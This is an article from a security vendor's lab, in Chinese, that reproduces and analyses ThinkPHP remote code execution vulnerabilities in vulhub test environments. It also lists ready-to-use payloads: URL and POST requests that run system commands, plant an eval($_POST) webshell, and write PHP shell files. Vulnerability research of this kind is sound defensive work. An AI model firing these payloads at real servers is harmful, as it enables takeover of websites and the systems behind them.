安全研究 >> 安全研究详情

thinkphp漏洞复现与利用

作者: 美创科技安全实验室发布日期: 05月14日

ThinkPHP 是一个快速、简单的基于 MVC 和面向对象的轻量PHP 开发框架,使用的开发者众多,网络上有大量的站点均依赖于thinkphp开发完成。而历史上thinkphp框架被发现存在多个严重漏洞,本文仅对之前爆出的部分严重漏洞进行复现并简单分析。


thinkphp2.x命令执行


影响范围


Thinkphp 2.x、3.0、3.1版本


常用payload


/index.php?s=/index/index/name/${@phpinfo()}


/index.php?s=/index/index/name/${eval($_POST[a])}


漏洞分析


在Thinkphp 2.x、3.0、3.1版本,使用preg_replace的/e模式匹配路由,会导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。


首先使用vulhub快速搭建环境:




漏洞利用payload,可执行php代码

/index.php?s=/index/index/name/${@phpinfo()}




通过蚁剑快速连接

Pyload为/index.php?s=/index/index/name/${eval($_POST[a])}




首先我们知道在preg_replace函数的/e正则匹配模式,在第二个参数的replacement中,如果符合php代码的规范,会在替换后作为php代码执行,从而造成命令执行漏洞。详细用法参考php手册


https://www.php.net/manual/zh/function.preg-replace




以1.php为例,演示该命令执行,当pattern为/e的正则时,replacement的内容可作为php代码执行。




针对thinkphp2的命令执行漏洞,其中源码如下:


$depr = '\/';

$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

$res=preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";', implode($depr,$paths));


其中的preg_replace的正则简化为/(\w+)\/([^\/\/]+)/e,若请求为index.php?s=/1/2/3/4/5/6,

则每次匹配结果为1和2;3和4;5和6

Replacement的\\1,\\2即表示对应的参数位置,最终将会形成var[1]=2;var[3]=4;var[5]=6

当2,4,6为php代码时,则将会被执行。


同时\\2是被双引号括起来的,双括号内的字符将会被作为代码执行。例如

<?php

$a = 1;

$b = 2;

echo '$a$b';//输出结果为$a$b

echo "$a$b";//输出结果为12

?>


因此当用户输入${xxx},被双引号括住,xxx将会被执行。此时回头看thinkphp 2.x的命令执行payload

/index.php?s=/index/index/name/${@phpinfo()}


其中

$_SERVER['PATH_INFO'] = /index/index/name/${@phpinfo()}


${@phpinfo()} 位于偶数位,会进入\\2,最终执行phpinfo()。同理只要payload在其他偶数位时,也将会造成代码执行

/index.php?s=/1/2/3/4/5/${@phpinfo()}/7/8




thinkphp5.0.23命令执行


影响范围


Thinkphp v5.0.23及以下


常用payload


1、Thinkphp v5.0.23及以下,需要captcha的method路由

/index.php?s=captcha

Content-Type:application/x-www-form-urlencoded


POST数据

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd


2、Thinkphp <= 5.0.13

POST /index.php?s=index/index

Content-Type: application/x-www-form-urlencoded


s=whoami&_method=__construct&method=&filter[]=system


3、Thinkphp <=5.0.23、5.1.0 <= 5.1.16

POST /index.php


_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls-al


漏洞复现


使用vulhub搭建复现环境,搭建完成后访问


抓包,修改请求方式为post,请求链接为/index.php?s=captcha

Post数据为

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

注意修改Content-Type:application/x-www-form-urlencoded


thinkphp 5.x命令执行


影响范围


Thinkphp 5.0.5-5.0.22

Thinkphp 5.1.0-5.1.30


常用payload


1、Thinkphp 5.0.x版本的payload

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?phpphpinfo();?>


2、Thinkphp 5.1.x版本的payload

/index.php?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert


/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>


在thinkphp 5.0.20 ,服务器系统ubuntu18 上复现,使用vulhub搭建


使用5.0.x的payload复现

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


执行下面的payload之后,访问1.php

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?phpphpinfo();?>

服务热线:400-811-3777
Copyright ©2005-2020 杭州美创科技有限公司. All Rights Reserved. 浙ICP备12021012号-1 网站地图